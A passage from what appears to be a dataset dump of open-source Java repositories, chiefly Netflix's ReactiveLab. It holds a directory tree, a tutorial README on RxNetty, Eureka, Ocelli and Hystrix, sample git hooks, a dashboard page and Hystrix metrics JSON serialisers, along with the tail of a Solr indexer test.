localizedTitles);\n\t\texpectedDoc.put(Properties.docTypeFieldName.get(), TEST1);\n\n\t\tAssert.assertEquals(createdDoc, expectedDoc);\n\n\t\tStringBuilder jsonStringOfDoc = indexer.getJsonStringOfDoc(new ObjectMapper().valueToTree(createdDoc));\n\t\tAssert.assertEquals(jsonStringOfDoc.toString(), \"{\\\"query_testing_type\\\":\\\"test1\\\",\\\"title_en\\\":\\\"title en\\\",\\\"id\\\":\\\"123_test1\\\",\\\"title_es\\\":[\\\"title es\\\"]}\");\n\t\t\n\t\tString urlForAddingDoc = indexer.getUrlForAddingDoc(createdDoc);\n\t\tAssert.assertEquals(urlForAddingDoc, \"http://localhost:8983/solr/qtest/test_doc/123_test1\");\n\n\t\tString urlForCommitting = indexer.getUrlForCommitting();\n\t\tAssert.assertEquals(urlForCommitting, \"http://localhost:8983/solr/qtest/_flush\");\n\n\t}\n}\n", "src\\test\\java\\com\\netflix\\search\\query\\engine\\solr\\SolrIndexerTest.java": "/**\n * Copyright 2016 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.search.query.engine.solr;\n\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\nimport org.testng.Assert;\nimport org.testng.annotations.Test;\nimport org.testng.collections.Maps;\n\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.google.common.collect.Lists;\nimport com.google.common.collect.Sets;\nimport com.netflix.search.query.Properties;\nimport com.netflix.search.query.engine.BaseIndexer;\n\npublic class SolrIndexerTest {\n\tprivate static final String LOCALE = \"es\";\n\tprivate static final String ID = \"123\";\n\tprivate static final String ALT_TITLE = \"title es 2\";\n\tprivate static final String SPANISH_TITLE = \"title es\";\n\tprivate static final String ENGLISH_TITLE = \"title en\";\n\tprivate static final String TEST1 = \"test1\";\n\n\t@Test\n\tvoid createDocTest()\n\t{\n\t\tBaseIndexer indexer = new SolrIndexer(\"\", TEST1);\n\t\tList<String> languages = Lists.newArrayList();\n\t\tlanguages.add(LOCALE);\n\t\tMap<String, Object> createdDoc = indexer.createDoc(ID, ENGLISH_TITLE, SPANISH_TITLE, ALT_TITLE, languages);\n\t\tMap<String, Object> expectedDoc = Maps.newHashMap();\n\t\texpectedDoc.put(Properties.idField.get(), ID + \"_\" + TEST1);\n\t\texpectedDoc.put(Properties.titleFields.get().get(0) + \"_en\", ENGLISH_TITLE);\n\t\tSet<Object> localizedTitles = Sets.newHashSet();\n\t\tlocalizedTitles.add(SPANISH_TITLE);\n\t\texpectedDoc.put(Properties.titleFields.get().get(0) + \"_es\", localizedTitles);\n\t\texpectedDoc.put(Properties.docTypeFieldName.get(), TEST1);\n\t\tAssert.assertEquals(createdDoc, expectedDoc);\n\n\t\tStringBuilder jsonStringOfDoc = indexer.getJsonStringOfDoc(new ObjectMapper().valueToTree(createdDoc));\n\t\tAssert.assertEquals(jsonStringOfDoc.toString(), \"[{\\\"query_testing_type\\\":\\\"test1\\\",\\\"title_en\\\":\\\"title en\\\",\\\"id\\\":\\\"123_test1\\\",\\\"title_es\\\":[\\\"title es\\\"]}]\");\n\t\t\n\t\tString urlForAddingDoc = indexer.getUrlForAddingDoc(createdDoc);\n\t\tAssert.assertEquals(urlForAddingDoc, \"http://localhost:8983/solr/qtest/update\");\n\n\t\tString urlForCommitting = indexer.getUrlForCommitting();\n\t\tAssert.assertEquals(urlForCommitting, \"http://localhost:8983/solr/qtest/update?commit=true\");\n\t}\n}\n"} | null |
ReactiveLab | {"type": "directory", "name": "ReactiveLab", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "codequality", "children": [{"type": "file", "name": "checkstyle.xml"}, {"type": "file", "name": "HEADER"}]}, {"type": "directory", "name": "gradle", "children": [{"type": "file", "name": "buildscript.gradle"}, {"type": "file", "name": "check.gradle"}, {"type": "file", "name": "convention.gradle"}, {"type": "file", "name": "license.gradle"}, {"type": "file", "name": "maven.gradle"}, {"type": "file", "name": "netflix-oss.gradle"}, {"type": "file", "name": "release.gradle"}, {"type": "directory", "name": "wrapper", "children": [{"type": "file", "name": "gradle-wrapper.properties"}]}]}, {"type": "file", "name": "gradle.properties"}, {"type": "file", "name": "gradlew"}, {"type": "file", "name": "gradlew.bat"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "directory", "name": "reactive-lab-dashboard", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "hystrix", "children": [{"type": "directory", "name": "dashboard", "children": [{"type": "directory", "name": "stream", "children": [{"type": "file", "name": "MockStreamServlet.java"}, {"type": "file", "name": "ProxyStreamServlet.java"}]}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "hystrix", "children": [{"type": "directory", "name": "dashboard", "children": [{"type": "directory", "name": "stream", "children": [{"type": "file", "name": "hystrix.stream"}]}]}]}]}]}]}, {"type": "directory", "name": "webapp", "children": [{"type": "directory", "name": "components", "children": [{"type": "directory", "name": "hystrixCommand", "children": [{"type": "file", "name": "hystrixCommand.css"}, {"type": "file", "name": "hystrixCommand.js"}, {"type": "directory", "name": "templates", "children": [{"type": "file", "name": "hystrixCircuit.html"}, {"type": "file", "name": "hystrixCircuitContainer.html"}, {"type": "file", "name": "hystrixCircuitProperties.html"}]}]}, {"type": "directory", "name": "hystrixThreadPool", "children": [{"type": "file", "name": "hystrixThreadPool.css"}, {"type": "file", "name": "hystrixThreadPool.js"}, {"type": "directory", "name": "templates", "children": [{"type": "file", "name": "hystrixThreadPool.html"}, {"type": "file", "name": "hystrixThreadPoolContainer.html"}]}]}]}, {"type": "directory", "name": "css", "children": [{"type": "file", "name": "global.css"}, {"type": "file", "name": "resets.css"}, {"type": "directory", "name": "simplegrid", "children": [{"type": "file", "name": "1236_grid.css"}, {"type": "file", "name": "720_grid.css"}, {"type": "file", "name": "986_grid.css"}, {"type": "file", "name": "LICENSE.txt"}, {"type": "file", "name": "percentage_grid.css"}, {"type": "file", "name": "README.txt"}]}]}, {"type": "file", "name": "index.html"}, {"type": "directory", "name": "js", "children": [{"type": "file", "name": "d3.v2.min.js"}, {"type": "file", "name": "jquery.min.js"}, {"type": "file", "name": "jquery.tinysort.min.js"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "tmpl.js"}]}, {"type": "directory", "name": "monitor", "children": [{"type": "file", "name": "monitor.css"}, {"type": "file", "name": "monitor.html"}]}, {"type": "directory", "name": "WEB-INF", "children": [{"type": "directory", "name": "classes", "children": [{"type": "file", "name": "log4j.properties"}]}, {"type": "file", "name": "web.xml"}]}]}]}]}]}, {"type": "directory", "name": "reactive-lab-gateway", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "io", "children": [{"type": "directory", "name": "reactivex", "children": [{"type": "directory", "name": "lab", "children": [{"type": "directory", "name": "gateway", "children": [{"type": "directory", "name": "clients", "children": [{"type": "file", "name": "BookmarkCommand.java"}, {"type": "file", "name": "BookmarksCommand.java"}, {"type": "file", "name": "GeoCommand.java"}, {"type": "file", "name": "ID.java"}, {"type": "file", "name": "MockServiceCommand.java"}, {"type": "file", "name": "PersonalizedCatalogCommand.java"}, {"type": "file", "name": "RatingsCommand.java"}, {"type": "file", "name": "SocialCommand.java"}, {"type": "file", "name": "UrlGenerator.java"}, {"type": "file", "name": "UserCommand.java"}, {"type": "file", "name": "VideoMetadataCommand.java"}]}, {"type": "directory", "name": "common", "children": [{"type": "file", "name": "RxNettyResponseWriter.java"}, {"type": "file", "name": "SimpleJson.java"}]}, {"type": "directory", "name": "hystrix", "children": [{"type": "file", "name": "HystrixMetricsStreamHandler.java"}, {"type": "file", "name": "JsonMapper.java"}]}, {"type": "directory", "name": "loadbalancer", "children": [{"type": "file", "name": "DiscoveryAndLoadBalancer.java"}, {"type": "file", "name": "LoadBalancerFactory.java"}]}, {"type": "directory", "name": "routes", "children": [{"type": "directory", "name": "mock", "children": [{"type": "file", "name": "BackendResponse.java"}, {"type": "file", "name": "ResponseBuilder.java"}, {"type": "file", "name": "TestRouteBasic.java"}, {"type": "file", "name": "TestRouteWithHystrix.java"}, {"type": "file", "name": "TestRouteWithSimpleFaultTolerance.java"}]}, {"type": "file", "name": "RouteForDeviceHome.java"}]}, {"type": "file", "name": "StartGatewayServer.java"}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "io", "children": [{"type": "directory", "name": "reactivex", "children": [{"type": "directory", "name": "lab", "children": [{"type": "directory", "name": "gateway", "children": [{"type": "directory", "name": "mock", "children": [{"type": "file", "name": "BackendResponseTest.java"}]}]}]}]}]}]}]}]}, {"type": "file", "name": "validate.py"}]}, {"type": "directory", "name": "reactive-lab-services", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "io", "children": [{"type": "directory", "name": "reactivex", "children": [{"type": "directory", "name": "lab", "children": [{"type": "directory", "name": "services", "children": [{"type": "directory", "name": "common", "children": [{"type": "file", "name": "Random.java"}, {"type": "file", "name": "SimpleJson.java"}]}, {"type": "directory", "name": "impls", "children": [{"type": "file", "name": "AbstractMiddleTierService.java"}, {"type": "file", "name": "BookmarksService.java"}, {"type": "file", "name": "GeoService.java"}, {"type": "file", "name": "MockResponse.java"}, {"type": "file", "name": "MockService.java"}, {"type": "file", "name": "PersonalizedCatalogService.java"}, {"type": "file", "name": "RatingsService.java"}, {"type": "file", "name": "SocialService.java"}, {"type": "file", "name": "UserService.java"}, {"type": "file", "name": "VideoMetadataService.java"}]}, {"type": "directory", "name": "metrics", "children": [{"type": "file", "name": "HystrixMetricsStreamHandler.java"}, {"type": "file", "name": "JsonMapper.java"}, {"type": "file", "name": "Metrics.java"}, {"type": "file", "name": "README.txt"}]}, {"type": "file", "name": "StartEurekaServer.java"}, {"type": "file", "name": "StartMiddleTierServices.java"}, {"type": "file", "name": "StartTurbineServer.java"}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "directory", "name": "dashboard", "children": [{"type": "file", "name": "d3.v3.js"}, {"type": "file", "name": "main.html"}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "io", "children": [{"type": "directory", "name": "reactivex", "children": [{"type": "directory", "name": "lab", "children": [{"type": "directory", "name": "services", "children": [{"type": "directory", "name": "impls", "children": [{"type": "file", "name": "MockResponseTest.java"}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "reactive-lab-tutorial", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "io", "children": [{"type": "directory", "name": "reactivex", "children": [{"type": "directory", "name": "lab", "children": [{"type": "directory", "name": "tutorial", "children": [{"type": "file", "name": "ClientServer.java"}, {"type": "file", "name": "ClientServerWithDiscovery.java"}, {"type": "file", "name": "ClientServerWithLoadBalancer.java"}, {"type": "file", "name": "ClientServerWithResiliencePatterns.java"}]}]}]}]}]}]}]}]}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "settings.gradle"}]} | ##### Tutorial
This tutorial introduces you to the following libraries:
- [RxJava](https://github.com/ReactiveX/RxJava): Reactive Extensions for the JVM.
- [RxNetty](https://github.com/ReactiveX/RxNetty): Reactive Extensions to Netty. This is the core networking library of Netflix.
- [Eureka 2.x](https://github.com/Netflix/eureka/tree/2.x): New version of eureka; Netflix's service discovery system.
- Ocelli: Ocelli is an independent project focusing on load balancing needs.
- [Hystrix](https://github.com/Netflix/hystrix): Hystrix is netflix's latency and fault tolerance library.
The tutorial consists of the following examples which introduces the above libraries incrementally:
###### [ClientServer](https://github.com/benjchristensen/ReactiveLab/blob/master/reactive-lab-tutorial/src/main/java/io/reactivex/lab/tutorial/ClientServer.java)
This is the starting point of the tutorial and demonstrates how to write a simple "Hello World" client and server using
[RxNetty](https://github.com/ReactiveX/RxNetty)
###### [ClientServerWithDiscovery](https://github.com/benjchristensen/ReactiveLab/blob/master/reactive-lab-tutorial/src/main/java/io/reactivex/lab/tutorial/ClientServerWithDiscovery.java)
This example builds on top of the previous example and adds [Eureka 2.x](https://github.com/Netflix/eureka/tree/2.x) to
the mix.
The created server registers itself with eureka and the client, instead of hard-coding the host and port of the target
server, queries the same from eureka.
In order to make the example standalone, an embedded eureka server is started in this example.
###### [ClientServerWithLoadBalancer](https://github.com/benjchristensen/ReactiveLab/blob/master/reactive-lab-tutorial/src/main/java/io/reactivex/lab/tutorial/ClientServerWithLoadBalancer.java)
This example builds on top of the previous example and adds Ocelli to the mix.
The client uses ocelli's load balancer instead of directly interacting with eureka.
In order to make the example standalone, an embedded eureka server is started in this example.
###### [ClientServerWithResiliencePatterns](https://github.com/benjchristensen/ReactiveLab/blob/master/reactive-lab-tutorial/src/main/java/io/reactivex/lab/tutorial/ClientServerWithResiliencePatterns.java)
This example builds on top of the previous example and adds [Hystrix](https://github.com/Netflix/hystrix) to the mix.
The client wraps the HTTP client call into a hystrix command, adds artificial delay and demonstrates Hystrix timeout and
fallbac.
In order to make the example standalone, an embedded eureka server is started in this example.
##### How to run?
Each of the above examples have a main method and can be run independently of each other.
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "gradle\\wrapper\\gradle-wrapper.properties": "#Tue Apr 02 11:45:56 PDT 2013\ndistributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\ndistributionUrl=http\\://services.gradle.org/distributions/gradle-1.11-bin.zip\n", "reactive-lab-dashboard\\src\\main\\webapp\\index.html": "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=ISO-8859-1\">\n<title>Hystrix Dashboard</title>\n\n\t<!-- Javascript to monitor and display -->\n\t<script src=\"./js/jquery.min.js\" type=\"text/javascript\"></script>\n\t\n\t<script>\n\t\tfunction sendToMonitor() {\n\t\t\t\n\t\t\tif($('#stream').val().length > 0) {\n\t\t\t\tvar url = \"./monitor/monitor.html?stream=\" + encodeURIComponent($('#stream').val()) + \"\";\n\t\t\t\tlocation.href= url;\n\t\t\t} else {\n\t\t\t\t$('#message').html(\"The 'stream' value is required.\");\n\t\t\t}\n\t\t}\n\t</script>\n</head>\n<body>\n<div style=\"width:800px;margin:0 auto;\">\n\t\n\t<center>\n\t<h2>ReactiveLab Hystrix Dashboard</h2>\n\t<input id=\"stream\" type=\"textfield\" size=\"120\" placeholder=\"http://127.0.0.1:9999/hystrix.stream\" value=\"http://127.0.0.1:9999/hystrix.stream\"></input>\n\t<br>\n\t<button onclick=\"sendToMonitor()\">Monitor Stream</button>\n\t<br><br>\n\t<div id=\"message\" style=\"color:red\"></div>\n\t\n\t</center>\n</div>\n</body>\n</html>", "reactive-lab-gateway\\src\\main\\java\\io\\reactivex\\lab\\gateway\\hystrix\\JsonMapper.java": "package io.reactivex.lab.gateway.hystrix;\n\nimport java.io.IOException;\nimport java.io.StringWriter;\n\nimport org.codehaus.jackson.JsonFactory;\nimport org.codehaus.jackson.JsonGenerator;\n\nimport com.netflix.hystrix.HystrixCircuitBreaker;\nimport com.netflix.hystrix.HystrixCommandKey;\nimport com.netflix.hystrix.HystrixCommandMetrics;\nimport com.netflix.hystrix.HystrixCommandMetrics.HealthCounts;\nimport com.netflix.hystrix.HystrixCommandProperties;\nimport com.netflix.hystrix.HystrixThreadPoolKey;\nimport com.netflix.hystrix.HystrixThreadPoolMetrics;\nimport com.netflix.hystrix.util.HystrixRollingNumberEvent;\n\n/**\n * This code is taken from hystrix-metrics-event-stream module's HystrixMetricsPoller class.\n */\npublic final class JsonMapper {\n\n private static final JsonFactory jsonFactory = new JsonFactory();\n\n private JsonMapper() {\n }\n\n static String toJson(HystrixCommandMetrics commandMetrics) throws IOException {\n HystrixCommandKey key = commandMetrics.getCommandKey();\n HystrixCircuitBreaker circuitBreaker = HystrixCircuitBreaker.Factory.getInstance(key);\n\n StringWriter jsonString = new StringWriter();\n JsonGenerator json = jsonFactory.createJsonGenerator(jsonString);\n\n json.writeStartObject();\n json.writeStringField(\"type\", \"HystrixCommand\");\n json.writeStringField(\"name\", key.name());\n json.writeStringField(\"group\", commandMetrics.getCommandGroup().name());\n json.writeNumberField(\"currentTime\", System.currentTimeMillis());\n\n // circuit breaker\n if (circuitBreaker == null) {\n // circuit breaker is disabled and thus never open\n json.writeBooleanField(\"isCircuitBreakerOpen\", false);\n } else {\n json.writeBooleanField(\"isCircuitBreakerOpen\", circuitBreaker.isOpen());\n }\n HealthCounts healthCounts = commandMetrics.getHealthCounts();\n json.writeNumberField(\"errorPercentage\", healthCounts.getErrorPercentage());\n json.writeNumberField(\"errorCount\", healthCounts.getErrorCount());\n json.writeNumberField(\"requestCount\", healthCounts.getTotalRequests());\n\n // rolling counters\n json.writeNumberField(\"rollingCountCollapsedRequests\", commandMetrics.getRollingCount(HystrixRollingNumberEvent.COLLAPSED));\n json.writeNumberField(\"rollingCountExceptionsThrown\", commandMetrics.getRollingCount(HystrixRollingNumberEvent.EXCEPTION_THROWN));\n json.writeNumberField(\"rollingCountFailure\", commandMetrics.getRollingCount(HystrixRollingNumberEvent.FAILURE));\n json.writeNumberField(\"rollingCountFallbackFailure\", commandMetrics.getRollingCount(HystrixRollingNumberEvent.FALLBACK_FAILURE));\n json.writeNumberField(\"rollingCountFallbackRejection\", commandMetrics.getRollingCount(HystrixRollingNumberEvent.FALLBACK_REJECTION));\n json.writeNumberField(\"rollingCountFallbackSuccess\", commandMetrics.getRollingCount(HystrixRollingNumberEvent.FALLBACK_SUCCESS));\n json.writeNumberField(\"rollingCountResponsesFromCache\", commandMetrics.getRollingCount(HystrixRollingNumberEvent.RESPONSE_FROM_CACHE));\n json.writeNumberField(\"rollingCountSemaphoreRejected\", commandMetrics.getRollingCount(HystrixRollingNumberEvent.SEMAPHORE_REJECTED));\n json.writeNumberField(\"rollingCountShortCircuited\", commandMetrics.getRollingCount(HystrixRollingNumberEvent.SHORT_CIRCUITED));\n json.writeNumberField(\"rollingCountSuccess\", commandMetrics.getRollingCount(HystrixRollingNumberEvent.SUCCESS));\n json.writeNumberField(\"rollingCountThreadPoolRejected\", commandMetrics.getRollingCount(HystrixRollingNumberEvent.THREAD_POOL_REJECTED));\n json.writeNumberField(\"rollingCountTimeout\", commandMetrics.getRollingCount(HystrixRollingNumberEvent.TIMEOUT));\n\n json.writeNumberField(\"currentConcurrentExecutionCount\", commandMetrics.getCurrentConcurrentExecutionCount());\n\n // latency percentiles\n json.writeNumberField(\"latencyExecute_mean\", commandMetrics.getExecutionTimeMean());\n json.writeObjectFieldStart(\"latencyExecute\");\n json.writeNumberField(\"0\", commandMetrics.getExecutionTimePercentile(0));\n json.writeNumberField(\"25\", commandMetrics.getExecutionTimePercentile(25));\n json.writeNumberField(\"50\", commandMetrics.getExecutionTimePercentile(50));\n json.writeNumberField(\"75\", commandMetrics.getExecutionTimePercentile(75));\n json.writeNumberField(\"90\", commandMetrics.getExecutionTimePercentile(90));\n json.writeNumberField(\"95\", commandMetrics.getExecutionTimePercentile(95));\n json.writeNumberField(\"99\", commandMetrics.getExecutionTimePercentile(99));\n json.writeNumberField(\"99.5\", commandMetrics.getExecutionTimePercentile(99.5));\n json.writeNumberField(\"100\", commandMetrics.getExecutionTimePercentile(100));\n json.writeEndObject();\n //\n json.writeNumberField(\"latencyTotal_mean\", commandMetrics.getTotalTimeMean());\n json.writeObjectFieldStart(\"latencyTotal\");\n json.writeNumberField(\"0\", commandMetrics.getTotalTimePercentile(0));\n json.writeNumberField(\"25\", commandMetrics.getTotalTimePercentile(25));\n json.writeNumberField(\"50\", commandMetrics.getTotalTimePercentile(50));\n json.writeNumberField(\"75\", commandMetrics.getTotalTimePercentile(75));\n json.writeNumberField(\"90\", commandMetrics.getTotalTimePercentile(90));\n json.writeNumberField(\"95\", commandMetrics.getTotalTimePercentile(95));\n json.writeNumberField(\"99\", commandMetrics.getTotalTimePercentile(99));\n json.writeNumberField(\"99.5\", commandMetrics.getTotalTimePercentile(99.5));\n json.writeNumberField(\"100\", commandMetrics.getTotalTimePercentile(100));\n json.writeEndObject();\n\n // property values for reporting what is actually seen by the command rather than what was set somewhere\n HystrixCommandProperties commandProperties = commandMetrics.getProperties();\n\n json.writeNumberField(\"propertyValue_circuitBreakerRequestVolumeThreshold\", commandProperties.circuitBreakerRequestVolumeThreshold().get());\n json.writeNumberField(\"propertyValue_circuitBreakerSleepWindowInMilliseconds\", commandProperties.circuitBreakerSleepWindowInMilliseconds().get());\n json.writeNumberField(\"propertyValue_circuitBreakerErrorThresholdPercentage\", commandProperties.circuitBreakerErrorThresholdPercentage().get());\n json.writeBooleanField(\"propertyValue_circuitBreakerForceOpen\", commandProperties.circuitBreakerForceOpen().get());\n json.writeBooleanField(\"propertyValue_circuitBreakerForceClosed\", commandProperties.circuitBreakerForceClosed().get());\n json.writeBooleanField(\"propertyValue_circuitBreakerEnabled\", commandProperties.circuitBreakerEnabled().get());\n\n json.writeStringField(\"propertyValue_executionIsolationStrategy\", commandProperties.executionIsolationStrategy().get().name());\n json.writeNumberField(\"propertyValue_executionTimeoutInMilliseconds\", commandProperties.executionTimeoutInMilliseconds().get());\n json.writeBooleanField(\"propertyValue_executionIsolationThreadInterruptOnTimeout\", commandProperties.executionIsolationThreadInterruptOnTimeout().get());\n json.writeStringField(\"propertyValue_executionIsolationThreadPoolKeyOverride\", commandProperties.executionIsolationThreadPoolKeyOverride().get());\n json.writeNumberField(\"propertyValue_executionIsolationSemaphoreMaxConcurrentRequests\", commandProperties.executionIsolationSemaphoreMaxConcurrentRequests().get());\n json.writeNumberField(\"propertyValue_fallbackIsolationSemaphoreMaxConcurrentRequests\", commandProperties.fallbackIsolationSemaphoreMaxConcurrentRequests().get());\n\n /*\n * The following are commented out as these rarely change and are verbose for streaming for something people don't change.\n * We could perhaps allow a property or request argument to include these.\n */\n\n // json.put(\"propertyValue_metricsRollingPercentileEnabled\", commandProperties.metricsRollingPercentileEnabled().get());\n // json.put(\"propertyValue_metricsRollingPercentileBucketSize\", commandProperties.metricsRollingPercentileBucketSize().get());\n // json.put(\"propertyValue_metricsRollingPercentileWindow\", commandProperties.metricsRollingPercentileWindowInMilliseconds().get());\n // json.put(\"propertyValue_metricsRollingPercentileWindowBuckets\", commandProperties.metricsRollingPercentileWindowBuckets().get());\n // json.put(\"propertyValue_metricsRollingStatisticalWindowBuckets\", commandProperties.metricsRollingStatisticalWindowBuckets().get());\n json.writeNumberField(\"propertyValue_metricsRollingStatisticalWindowInMilliseconds\", commandProperties.metricsRollingStatisticalWindowInMilliseconds().get());\n\n json.writeBooleanField(\"propertyValue_requestCacheEnabled\", commandProperties.requestCacheEnabled().get());\n json.writeBooleanField(\"propertyValue_requestLogEnabled\", commandProperties.requestLogEnabled().get());\n\n json.writeNumberField(\"reportingHosts\", 1); // this will get summed across all instances in a cluster\n\n json.writeEndObject();\n json.close();\n\n return jsonString.getBuffer().toString();\n }\n\n static String toJson(HystrixThreadPoolMetrics threadPoolMetrics) throws IOException {\n HystrixThreadPoolKey key = threadPoolMetrics.getThreadPoolKey();\n\n StringWriter jsonString = new StringWriter();\n JsonGenerator json = jsonFactory.createJsonGenerator(jsonString);\n json.writeStartObject();\n\n json.writeStringField(\"type\", \"HystrixThreadPool\");\n json.writeStringField(\"name\", key.name());\n json.writeNumberField(\"currentTime\", System.currentTimeMillis());\n\n json.writeNumberField(\"currentActiveCount\", threadPoolMetrics.getCurrentActiveCount().intValue());\n json.writeNumberField(\"currentCompletedTaskCount\", threadPoolMetrics.getCurrentCompletedTaskCount().longValue());\n json.writeNumberField(\"currentCorePoolSize\", threadPoolMetrics.getCurrentCorePoolSize().intValue());\n json.writeNumberField(\"currentLargestPoolSize\", threadPoolMetrics.getCurrentLargestPoolSize().intValue());\n json.writeNumberField(\"currentMaximumPoolSize\", threadPoolMetrics.getCurrentMaximumPoolSize().intValue());\n json.writeNumberField(\"currentPoolSize\", threadPoolMetrics.getCurrentPoolSize().intValue());\n json.writeNumberField(\"currentQueueSize\", threadPoolMetrics.getCurrentQueueSize().intValue());\n json.writeNumberField(\"currentTaskCount\", threadPoolMetrics.getCurrentTaskCount().longValue());\n json.writeNumberField(\"rollingCountThreadsExecuted\", threadPoolMetrics.getRollingCountThreadsExecuted());\n json.writeNumberField(\"rollingMaxActiveThreads\", threadPoolMetrics.getRollingMaxActiveThreads());\n\n json.writeNumberField(\"propertyValue_queueSizeRejectionThreshold\", threadPoolMetrics.getProperties().queueSizeRejectionThreshold().get());\n json.writeNumberField(\"propertyValue_metricsRollingStatisticalWindowInMilliseconds\", threadPoolMetrics.getProperties().metricsRollingStatisticalWindowInMilliseconds().get());\n\n json.writeNumberField(\"reportingHosts\", 1); // this will get summed across all instances in a cluster\n\n json.writeEndObject();\n json.close();\n\n return jsonString.getBuffer().toString();\n }\n}", "reactive-lab-services\\src\\main\\java\\io\\reactivex\\lab\\services\\metrics\\JsonMapper.java": "package io.reactivex.lab.services.metrics;\n\nimport java.io.IOException;\nimport java.io.StringWriter;\n\nimport org.codehaus.jackson.JsonFactory;\nimport org.codehaus.jackson.JsonGenerator;\n\n/**\n * This code is taken from hystrix-metrics-event-stream module's HystrixMetricsPoller class.\n */\npublic final class JsonMapper {\n\n private static final JsonFactory jsonFactory = new JsonFactory();\n\n private JsonMapper() {\n }\n\n static String toJson(Metrics commandMetrics) throws IOException {\n StringWriter jsonString = new StringWriter();\n JsonGenerator json = jsonFactory.createJsonGenerator(jsonString);\n\n json.writeStartObject();\n json.writeStringField(\"type\", \"HystrixCommand\"); // act as this as we are hijacking Hystrix for the dashboard\n json.writeStringField(\"name\", commandMetrics.getName());\n json.writeStringField(\"group\", \"\");\n json.writeNumberField(\"currentTime\", System.currentTimeMillis());\n\n json.writeBooleanField(\"isCircuitBreakerOpen\", false);\n\n long errors = commandMetrics.getRollingNumber().getRollingSum(Metrics.EventType.FAILURE);\n long success = commandMetrics.getRollingNumber().getRollingSum(Metrics.EventType.SUCCESS);\n long requests = success + errors;\n int errorPercentage = (int) ((double) errors / requests * 100);\n\n json.writeNumberField(\"errorPercentage\", errorPercentage);\n json.writeNumberField(\"errorCount\", errors);\n json.writeNumberField(\"requestCount\", requests);\n\n // rolling counters\n json.writeNumberField(\"rollingCountCollapsedRequests\", 0);\n json.writeNumberField(\"rollingCountExceptionsThrown\", commandMetrics.getRollingNumber().getRollingSum(Metrics.EventType.EXCEPTION_THROWN));\n json.writeNumberField(\"rollingCountFailure\", errors);\n json.writeNumberField(\"rollingCountFallbackFailure\", 0);\n json.writeNumberField(\"rollingCountFallbackRejection\", 0);\n json.writeNumberField(\"rollingCountFallbackSuccess\", 0);\n json.writeNumberField(\"rollingCountResponsesFromCache\", 0);\n json.writeNumberField(\"rollingCountSemaphoreRejected\", 0);\n json.writeNumberField(\"rollingCountShortCircuited\", 0);\n json.writeNumberField(\"rollingCountSuccess\", success);\n json.writeNumberField(\"rollingCountThreadPoolRejected\", 0);\n json.writeNumberField(\"rollingCountTimeout\", 0);\n\n json.writeNumberField(\"currentConcurrentExecutionCount\", commandMetrics.getRollingNumber().getRollingMaxValue(Metrics.EventType.CONCURRENCY_MAX_ACTIVE));\n\n // latency percentiles\n json.writeNumberField(\"latencyExecute_mean\", commandMetrics.getRollingPercentile().getMean());\n json.writeObjectFieldStart(\"latencyExecute\");\n json.writeNumberField(\"0\", commandMetrics.getRollingPercentile().getPercentile(0));\n json.writeNumberField(\"25\", commandMetrics.getRollingPercentile().getPercentile(25));\n json.writeNumberField(\"50\", commandMetrics.getRollingPercentile().getPercentile(50));\n json.writeNumberField(\"75\", commandMetrics.getRollingPercentile().getPercentile(75));\n json.writeNumberField(\"90\", commandMetrics.getRollingPercentile().getPercentile(90));\n 